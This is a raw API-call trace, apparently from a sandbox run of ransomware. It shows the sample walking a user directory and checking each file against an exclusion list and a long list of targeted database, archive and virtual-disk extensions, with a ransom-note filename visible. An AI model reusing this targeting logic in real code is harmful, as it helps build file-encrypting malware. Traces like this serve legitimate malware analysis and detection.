	[0046.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0046.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0046.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.272] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0046.272] CloseHandle (hObject=0x148) returned 1
	[0046.272] CloseHandle (hObject=0x150) returned 1
	[0046.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0046.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0046.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0046.273] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d977900, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2fb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2="Apollon865.txt.exe") returned 1
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2=".") returned 1
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2="..") returned 1
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2="windows") returned -1
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2="bootmgr") returned 1
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2="temp") returned -1
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2="pagefile.sys") returned -1
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2="boot") returned 1
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2="ids.txt") returned -1
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2="ntuser.dat") returned -1
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2="perflogs") returned -1
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2="MSBuild") returned -1
	[0046.273] lstrlenW (lpString="brndlog.txt") returned 11
	[0046.273] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak") returned 83
	[0046.273] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="brndlog.txt" | out: lpString1="brndlog.txt") returned="brndlog.txt"
	[0046.273] lstrlenW (lpString="brndlog.txt") returned 11
	[0046.273] lstrlenW (lpString="Apollon865") returned 10
	[0046.273] lstrcmpiW (lpString1="rndlog.txt", lpString2="Apollon865") returned 1
	[0046.273] lstrlenW (lpString=".dll") returned 4
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2=".dll") returned 1
	[0046.273] lstrlenW (lpString=".lnk") returned 4
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2=".lnk") returned 1
	[0046.273] lstrlenW (lpString=".ini") returned 4
	[0046.273] lstrcmpiW (lpString1="brndlog.txt", lpString2=".ini") returned 1
	[0046.274] lstrlenW (lpString=".sys") returned 4
	[0046.274] lstrcmpiW (lpString1="brndlog.txt", lpString2=".sys") returned 1
	[0046.274] lstrlenW (lpString="brndlog.txt") returned 11
	[0046.274] lstrlenW (lpString="bak") returned 3
	[0046.274] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1
	[0046.274] lstrlenW (lpString="ba_") returned 3
	[0046.274] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1
	[0046.274] lstrlenW (lpString="dbb") returned 3
	[0046.274] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1
	[0046.274] lstrlenW (lpString="vmdk") returned 4
	[0046.274] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1
	[0046.274] lstrlenW (lpString="rar") returned 3
	[0046.274] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1
	[0046.274] lstrlenW (lpString="zip") returned 3
	[0046.274] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1
	[0046.274] lstrlenW (lpString="tgz") returned 3
	[0046.274] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1
	[0046.274] lstrlenW (lpString="vbox") returned 4
	[0046.274] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1
	[0046.274] lstrlenW (lpString="vdi") returned 3
	[0046.274] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1
	[0046.274] lstrlenW (lpString="vhd") returned 3
	[0046.274] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1
	[0046.274] lstrlenW (lpString="vhdx") returned 4
	[0046.274] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1
	[0046.274] lstrlenW (lpString="avhd") returned 4
	[0046.274] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1
	[0046.274] lstrlenW (lpString="db") returned 2
	[0046.274] lstrcmpiW (lpString1="xt", lpString2="db") returned 1
	[0046.274] lstrlenW (lpString="db2") returned 3
	[0046.274] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1
	[0046.274] lstrlenW (lpString="db3") returned 3
	[0046.274] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1
	[0046.274] lstrlenW (lpString="dbf") returned 3
	[0046.275] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1
	[0046.275] lstrlenW (lpString="mdf") returned 3
	[0046.275] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1
	[0046.275] lstrlenW (lpString="mdb") returned 3
	[0046.275] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1
	[0046.275] lstrlenW (lpString="sql") returned 3
	[0046.275] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1
	[0046.275] lstrlenW (lpString="sqlite") returned 6
	[0046.275] lstrcmpiW (lpString1="og.txt", lpString2="sqlite") returned -1
	[0046.275] lstrlenW (lpString="sqlite3") returned 7
	[0046.275] lstrcmpiW (lpString1="log.txt", lpString2="sqlite3") returned -1
	[0046.275] lstrlenW (lpString="sqlitedb") returned 8
	[0046.275] lstrcmpiW (lpString1="dlog.txt", lpString2="sqlitedb") returned -1
	[0046.275] lstrlenW (lpString="xml") returned 3
	[0046.275] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1
	[0046.275] lstrlenW (lpString="$er") returned 3
	[0046.275] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1
	[0046.275] lstrlenW (lpString="4dd") returned 3
	[0046.275] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1
	[0046.275] lstrlenW (lpString="4dl") returned 3
	[0046.275] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1
	[0046.275] lstrlenW (lpString="^^^") returned 3
	[0046.275] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1
	[0046.275] lstrlenW (lpString="abs") returned 3
	[0046.275] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1
	[0046.275] lstrlenW (lpString="abx") returned 3
	[0046.275] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1
	[0046.275] lstrlenW (lpString="accdb") returned 5
	[0046.275] lstrcmpiW (lpString1="g.txt", lpString2="accdb") returned 1
	[0046.275] lstrlenW (lpString="accdc") returned 5
	[0046.275] lstrcmpiW (lpString1="g.txt", lpString2="accdc") returned 1
	[0046.275] lstrlenW (lpString="accde") returned 5
	[0046.275] lstrcmpiW (lpString1="g.txt", lpString2="accde") returned 1
	[0046.275] lstrlenW (lpString="accdr") returned 5
	[0046.275] lstrcmpiW (lpString1="g.txt", lpString2="accdr") returned 1
	[0046.276] lstrlenW (lpString="accdt") returned 5
	[0046.276] lstrcmpiW (lpString1="g.txt", lpString2="accdt") returned 1
	[0046.276] lstrlenW (lpString="accdw") returned 5
	[0046.276] lstrcmpiW (lpString1="g.txt", lpString2="accdw") returned 1
	[0046.276] lstrlenW (lpString="accft") returned 5
	[0046.276] lstrcmpiW (lpString1="g.txt", lpString2="accft") returned 1
	[0046.276] lstrlenW (lpString="adb") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1
	[0046.276] lstrlenW (lpString="adb") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1
	[0046.276] lstrlenW (lpString="ade") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1
	[0046.276] lstrlenW (lpString="adf") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1
	[0046.276] lstrlenW (lpString="adn") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1
	[0046.276] lstrlenW (lpString="adp") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1
	[0046.276] lstrlenW (lpString="alf") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1
	[0046.276] lstrlenW (lpString="ask") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1
	[0046.276] lstrlenW (lpString="btr") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1
	[0046.276] lstrlenW (lpString="cat") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1
	[0046.276] lstrlenW (lpString="cdb") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1
	[0046.276] lstrlenW (lpString="ckp") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1
	[0046.276] lstrlenW (lpString="cma") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1
	[0046.276] lstrlenW (lpString="cpd") returned 3
	[0046.276] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1
	[0046.276] lstrlenW (lpString="dacpac") returned 6
	[0046.276] lstrcmpiW (lpString1="og.txt", lpString2="dacpac") returned 1
	[0046.277] lstrlenW (lpString="dad") returned 3
	[0046.277] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1
	[0046.277] lstrlenW (lpString="dadiagrams") returned 10
	[0046.277] lstrcmpiW (lpString1="rndlog.txt", lpString2="dadiagrams") returned 1
	[0046.277] lstrlenW (lpString="daschema") returned 8
	[0046.277] lstrcmpiW (lpString1="dlog.txt", lpString2="daschema") returned 1
	[0046.277] lstrlenW (lpString="db-journal") returned 10
	[0046.277] lstrcmpiW (lpString1="rndlog.txt", lpString2="db-journal") returned 1
	[0046.277] lstrlenW (lpString="db-shm") returned 6
	[0046.277] lstrcmpiW (lpString1="og.txt", lpString2="db-shm") returned 1
	[0046.277] lstrlenW (lpString="db-wal") returned 6
	[0046.277] lstrcmpiW (lpString1="og.txt", lpString2="db-wal") returned 1
	[0046.277] lstrlenW (lpString="dbc") returned 3
	[0046.277] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1
	[0046.277] lstrlenW (lpString="dbs") returned 3
	[0046.277] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1
	[0046.277] lstrlenW (lpString="dbt") returned 3
	[0046.277] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1
	[0046.277] lstrlenW (lpString="dbv") returned 3
	[0046.277] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1
	[0046.277] lstrlenW (lpString="dbx") returned 3
	[0046.277] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1
	[0046.277] lstrlenW (lpString="dcb") returned 3
	[0046.277] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1
	[0046.277] lstrlenW (lpString="dct") returned 3
	[0046.277] lstrcmpiW (lpString1="txt", lpString2="dct") returned 1
	[0046.277] lstrlenW (lpString="dcx") returned 3
	[0046.277] lstrcmpiW (lpString1="txt", lpString2="dcx") returned 1
	[0046.277] lstrlenW (lpString="ddl") returned 3
	[0046.277] lstrcmpiW (lpString1="txt", lpString2="ddl") returned 1
	[0046.277] lstrlenW (lpString="dlis") returned 4
	[0046.277] lstrcmpiW (lpString1=".txt", lpString2="dlis") returned -1
	[0046.277] lstrlenW (lpString="dp1") returned 3
	[0046.278] lstrcmpiW (lpString1="txt", lpString2="dp1") returned 1
	[0046.278] lstrlenW (lpString="dqy") returned 3
	[0046.278] lstrcmpiW (lpString1="txt", lpString2="dqy") returned 1
	[0046.278] lstrlenW (lpString="dsk") returned 3
	[0046.278] lstrcmpiW (lpString1="txt", lpString2="dsk") returned 1
	[0046.278] lstrlenW (lpString="dsn") returned 3
	[0046.278] lstrcmpiW (lpString1="txt", lpString2="dsn") returned 1
	[0046.278] lstrlenW (lpString="dtsx") returned 4
	[0046.278] lstrcmpiW (lpString1=".txt", lpString2="dtsx") returned -1
	[0046.278] lstrlenW (lpString="dxl") returned 3
	[0046.278] lstrcmpiW (lpString1="txt", lpString2="dxl") returned 1
	[0046.278] lstrlenW (lpString="eco") returned 3
	[0046.278] lstrcmpiW (lpString1="txt", lpString2="eco") returned 1
	[0046.278] lstrlenW (lpString="ecx") returned 3
	[0046.278] lstrcmpiW (lpString1="txt", lpString2="ecx") returned 1
	[0046.278] lstrlenW (lpString="edb") returned 3
	[0046.278] lstrcmpiW (lpString1="txt", lpString2="edb") returned 1
	[0046.278] lstrlenW (lpString="epim") returned 4
	[0046.278] lstrcmpiW (lpString1=".txt", lpString2="epim") returned -1
	[0046.278] lstrlenW (lpString="fcd") returned 3
	[0046.278] lstrcmpiW (lpString1="txt", lpString2="fcd") returned 1
	[0046.278] lstrlenW (lpString="fdb") returned 3
	[0046.278] lstrcmpiW (lpString1="txt", lpString2="fdb") returned 1
	[0046.278] lstrlenW (lpString="fic") returned 3
	[0046.278] lstrcmpiW (lpString1="txt", lpString2="fic") returned 1
	[0046.278] lstrlenW (lpString="flexolibrary") returned 12
	[0046.278] lstrlenW (lpString="fm5") returned 3
	[0046.278] lstrcmpiW (lpString1="txt", lpString2="fm5") returned 1
	[0046.278] lstrlenW (lpString="fmp") returned 3
	[0046.278] lstrcmpiW (lpString1="txt", lpString2="fmp") returned 1
	[0046.278] lstrlenW (lpString="fmp12") returned 5
	[0046.278] lstrcmpiW (lpString1="g.txt", lpString2="fmp12") returned 1
	[0046.278] lstrlenW (lpString="fmpsl") returned 5
	[0046.279] lstrcmpiW (lpString1="g.txt", lpString2="fmpsl") returned 1
	[0046.279] lstrlenW (lpString="fol") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="fol") returned 1
	[0046.279] lstrlenW (lpString="fp3") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="fp3") returned 1
	[0046.279] lstrlenW (lpString="fp4") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="fp4") returned 1
	[0046.279] lstrlenW (lpString="fp5") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="fp5") returned 1
	[0046.279] lstrlenW (lpString="fp7") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="fp7") returned 1
	[0046.279] lstrlenW (lpString="fpt") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="fpt") returned 1
	[0046.279] lstrlenW (lpString="frm") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="frm") returned 1
	[0046.279] lstrlenW (lpString="gdb") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1
	[0046.279] lstrlenW (lpString="gdb") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1
	[0046.279] lstrlenW (lpString="grdb") returned 4
	[0046.279] lstrcmpiW (lpString1=".txt", lpString2="grdb") returned -1
	[0046.279] lstrlenW (lpString="gwi") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="gwi") returned 1
	[0046.279] lstrlenW (lpString="hdb") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="hdb") returned 1
	[0046.279] lstrlenW (lpString="his") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="his") returned 1
	[0046.279] lstrlenW (lpString="ib") returned 2
	[0046.279] lstrcmpiW (lpString1="xt", lpString2="ib") returned 1
	[0046.279] lstrlenW (lpString="idb") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="idb") returned 1
	[0046.279] lstrlenW (lpString="ihx") returned 3
	[0046.279] lstrcmpiW (lpString1="txt", lpString2="ihx") returned 1
	[0046.279] lstrlenW (lpString="itdb") returned 4
	[0046.279] lstrcmpiW (lpString1=".txt", lpString2="itdb") returned -1
	[0046.279] lstrlenW (lpString="itw") returned 3
	[0046.280] lstrcmpiW (lpString1="txt", lpString2="itw") returned 1
	[0046.280] lstrlenW (lpString="jet") returned 3
	[0046.280] lstrcmpiW (lpString1="txt", lpString2="jet") returned 1
	[0046.280] lstrlenW (lpString="jtx") returned 3
	[0046.280] lstrcmpiW (lpString1="txt", lpString2="jtx") returned 1
	[0046.280] lstrlenW (lpString="kdb") returned 3
	[0046.280] lstrcmpiW (lpString1="txt", lpString2="kdb") returned 1
	[0046.280] lstrlenW (lpString="kexi") returned 4
	[0046.280] lstrcmpiW (lpString1=".txt", lpString2="kexi") returned -1
	[0046.280] lstrlenW (lpString="kexic") returned 5
	[0046.280] lstrcmpiW (lpString1="g.txt", lpString2="kexic") returned -1
	[0046.280] lstrlenW (lpString="kexis") returned 5
	[0046.280] lstrcmpiW (lpString1="g.txt", lpString2="kexis") returned -1
	[0046.280] lstrlenW (lpString="lgc") returned 3
	[0046.280] lstrcmpiW (lpString1="txt", lpString2="lgc") returned 1
	[0046.280] lstrlenW (lpString="lwx") returned 3
	[0046.280] lstrcmpiW (lpString1="txt", lpString2="lwx") returned 1
	[0046.280] lstrlenW (lpString="maf") returned 3
	[0046.280] lstrcmpiW (lpString1="txt", lpString2="maf") returned 1
	[0046.280] lstrlenW (lpString="maq") returned 3
	[0046.280] lstrcmpiW (lpString1="txt", lpString2="maq") returned 1
	[0046.280] lstrlenW (lpString="mar") returned 3
	[0046.280] lstrcmpiW (lpString1="txt", lpString2="mar") returned 1
	[0046.280] lstrlenW (lpString="marshal") returned 7
	[0046.280] lstrcmpiW (lpString1="log.txt", lpString2="marshal") returned -1
	[0046.280] lstrlenW (lpString="mas") returned 3
	[0046.280] lstrcmpiW (lpString1="txt", lpString2="mas") returned 1
	[0046.280] lstrlenW (lpString="mav") returned 3
	[0046.280] lstrcmpiW (lpString1="txt", lpString2="mav") returned 1
	[0046.280] lstrlenW (lpString="maw") returned 3
	[0046.280] lstrcmpiW (lpString1="txt", lpString2="maw") returned 1
	[0046.280] lstrlenW (lpString="mdbhtml") returned 7
	[0046.280] lstrcmpiW (lpString1="log.txt", lpString2="mdbhtml") returned -1
	[0046.280] lstrlenW (lpString="mdn") returned 3
	[0046.280] lstrcmpiW (lpString1="txt", lpString2="mdn") returned 1
	[0046.281] lstrlenW (lpString="mdt") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="mdt") returned 1
	[0046.281] lstrlenW (lpString="mfd") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="mfd") returned 1
	[0046.281] lstrlenW (lpString="mpd") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="mpd") returned 1
	[0046.281] lstrlenW (lpString="mrg") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="mrg") returned 1
	[0046.281] lstrlenW (lpString="mud") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="mud") returned 1
	[0046.281] lstrlenW (lpString="mwb") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="mwb") returned 1
	[0046.281] lstrlenW (lpString="myd") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="myd") returned 1
	[0046.281] lstrlenW (lpString="ndf") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="ndf") returned 1
	[0046.281] lstrlenW (lpString="nnt") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="nnt") returned 1
	[0046.281] lstrlenW (lpString="nrmlib") returned 6
	[0046.281] lstrcmpiW (lpString1="og.txt", lpString2="nrmlib") returned 1
	[0046.281] lstrlenW (lpString="ns2") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="ns2") returned 1
	[0046.281] lstrlenW (lpString="ns3") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="ns3") returned 1
	[0046.281] lstrlenW (lpString="ns4") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="ns4") returned 1
	[0046.281] lstrlenW (lpString="nsf") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="nsf") returned 1
	[0046.281] lstrlenW (lpString="nv") returned 2
	[0046.281] lstrcmpiW (lpString1="xt", lpString2="nv") returned 1
	[0046.281] lstrlenW (lpString="nv2") returned 3
	[0046.281] lstrcmpiW (lpString1="txt", lpString2="nv2") returned 1
	[0046.281] lstrlenW (lpString="nwdb") returned 4
	[0046.282] lstrcmpiW (lpString1=".txt", lpString2="nwdb") returned -1
	[0046.282] lstrlenW (lpString="nyf") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="nyf") returned 1
	[0046.282] lstrlenW (lpString="odb") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1
	[0046.282] lstrlenW (lpString="odb") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1
	[0046.282] lstrlenW (lpString="oqy") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="oqy") returned 1
	[0046.282] lstrlenW (lpString="ora") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="ora") returned 1
	[0046.282] lstrlenW (lpString="orx") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="orx") returned 1
	[0046.282] lstrlenW (lpString="owc") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="owc") returned 1
	[0046.282] lstrlenW (lpString="p96") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="p96") returned 1
	[0046.282] lstrlenW (lpString="p97") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="p97") returned 1
	[0046.282] lstrlenW (lpString="pan") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="pan") returned 1
	[0046.282] lstrlenW (lpString="pdb") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="pdb") returned 1
	[0046.282] lstrlenW (lpString="pdm") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="pdm") returned 1
	[0046.282] lstrlenW (lpString="pnz") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="pnz") returned 1
	[0046.282] lstrlenW (lpString="qry") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="qry") returned 1
	[0046.282] lstrlenW (lpString="qvd") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="qvd") returned 1
	[0046.282] lstrlenW (lpString="rbf") returned 3
	[0046.282] lstrcmpiW (lpString1="txt", lpString2="rbf") returned 1
	[0046.282] lstrlenW (lpString="rctd") returned 4
	[0046.283] lstrcmpiW (lpString1=".txt", lpString2="rctd") returned -1
	[0046.283] lstrlenW (lpString="rod") returned 3
	[0046.283] lstrcmpiW (lpString1="txt", lpString2="rod") returned 1
	[0046.283] lstrlenW (lpString="rodx") returned 4
	[0046.283] lstrcmpiW (lpString1=".txt", lpString2="rodx") returned -1
	[0046.283] lstrlenW (lpString="rpd") returned 3
	[0046.283] lstrcmpiW (lpString1="txt", lpString2="rpd") returned 1
	[0046.283] lstrlenW (lpString="rsd") returned 3
	[0046.283] lstrcmpiW (lpString1="txt", lpString2="rsd") returned 1
	[0046.283] lstrlenW (lpString="sas7bdat") returned 8
	[0046.283] lstrcmpiW (lpString1="dlog.txt", lpString2="sas7bdat") returned -1
	[0046.283] lstrlenW (lpString="sbf") returned 3
	[0046.283] lstrcmpiW (lpString1="txt", lpString2="sbf") returned 1
	[0046.283] lstrlenW (lpString="scx") returned 3
	[0046.283] lstrcmpiW (lpString1="txt", lpString2="scx") returned 1
	[0046.283] lstrlenW (lpString="sdb") returned 3
	[0046.283] lstrcmpiW (lpString1="txt", lpString2="sdb") returned 1
	[0046.283] lstrlenW (lpString="sdc") returned 3
	[0046.283] lstrcmpiW (lpString1="txt", lpString2="sdc") returned 1
	[0046.283] lstrlenW (lpString="sdf") returned 3
	[0046.283] lstrcmpiW (lpString1="txt", lpString2="sdf") returned 1
	[0046.283] lstrlenW (lpString="sis") returned 3
	[0046.283] lstrcmpiW (lpString1="txt", lpString2="sis") returned 1
	[0046.283] lstrlenW (lpString="spq") returned 3
	[0046.283] lstrcmpiW (lpString1="txt", lpString2="spq") returned 1
	[0046.283] lstrlenW (lpString="te") returned 2
	[0046.283] lstrcmpiW (lpString1="xt", lpString2="te") returned 1
	[0046.283] lstrlenW (lpString="teacher") returned 7
	[0046.283] lstrcmpiW (lpString1="log.txt", lpString2="teacher") returned -1
	[0046.283] lstrlenW (lpString="tmd") returned 3
	[0046.283] lstrcmpiW (lpString1="txt", lpString2="tmd") returned 1
	[0046.283] lstrlenW (lpString="tps") returned 3
	[0046.283] lstrcmpiW (lpString1="txt", lpString2="tps") returned 1
	[0046.283] lstrlenW (lpString="trc") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1
	[0046.284] lstrlenW (lpString="trc") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1
	[0046.284] lstrlenW (lpString="trm") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="trm") returned 1
	[0046.284] lstrlenW (lpString="udb") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="udb") returned -1
	[0046.284] lstrlenW (lpString="udl") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="udl") returned -1
	[0046.284] lstrlenW (lpString="usr") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="usr") returned -1
	[0046.284] lstrlenW (lpString="v12") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="v12") returned -1
	[0046.284] lstrlenW (lpString="vis") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="vis") returned -1
	[0046.284] lstrlenW (lpString="vpd") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="vpd") returned -1
	[0046.284] lstrlenW (lpString="vvv") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="vvv") returned -1
	[0046.284] lstrlenW (lpString="wdb") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="wdb") returned -1
	[0046.284] lstrlenW (lpString="wmdb") returned 4
	[0046.284] lstrcmpiW (lpString1=".txt", lpString2="wmdb") returned -1
	[0046.284] lstrlenW (lpString="wrk") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="wrk") returned -1
	[0046.284] lstrlenW (lpString="xdb") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="xdb") returned -1
	[0046.284] lstrlenW (lpString="xld") returned 3
	[0046.284] lstrcmpiW (lpString1="txt", lpString2="xld") returned -1
	[0046.284] lstrlenW (lpString="xmlff") returned 5
	[0046.284] lstrcmpiW (lpString1="g.txt", lpString2="xmlff") returned -1
	[0046.284] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1
	[0046.284] lstrcmpiW (lpString1="DOMStore", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.284] lstrcmpiW (lpString1="DOMStore", lpString2="Apollon865.txt.exe") returned 1
	[0046.285] lstrcmpiW (lpString1="DOMStore", lpString2=".") returned 1
	[0046.285] lstrcmpiW (lpString1="DOMStore", lpString2="..") returned 1
	[0046.285] lstrcmpiW (lpString1="DOMStore", lpString2="windows") returned -1
	[0046.285] lstrcmpiW (lpString1="DOMStore", lpString2="bootmgr") returned 1
	[0046.285] lstrcmpiW (lpString1="DOMStore", lpString2="temp") returned -1
	[0046.285] lstrcmpiW (lpString1="DOMStore", lpString2="pagefile.sys") returned -1
	[0046.285] lstrcmpiW (lpString1="DOMStore", lpString2="boot") returned 1
	[0046.285] lstrcmpiW (lpString1="DOMStore", lpString2="ids.txt") returned -1
	[0046.285] lstrcmpiW (lpString1="DOMStore", lpString2="ntuser.dat") returned -1
	[0046.285] lstrcmpiW (lpString1="DOMStore", lpString2="perflogs") returned -1
	[0046.285] lstrcmpiW (lpString1="DOMStore", lpString2="MSBuild") returned -1
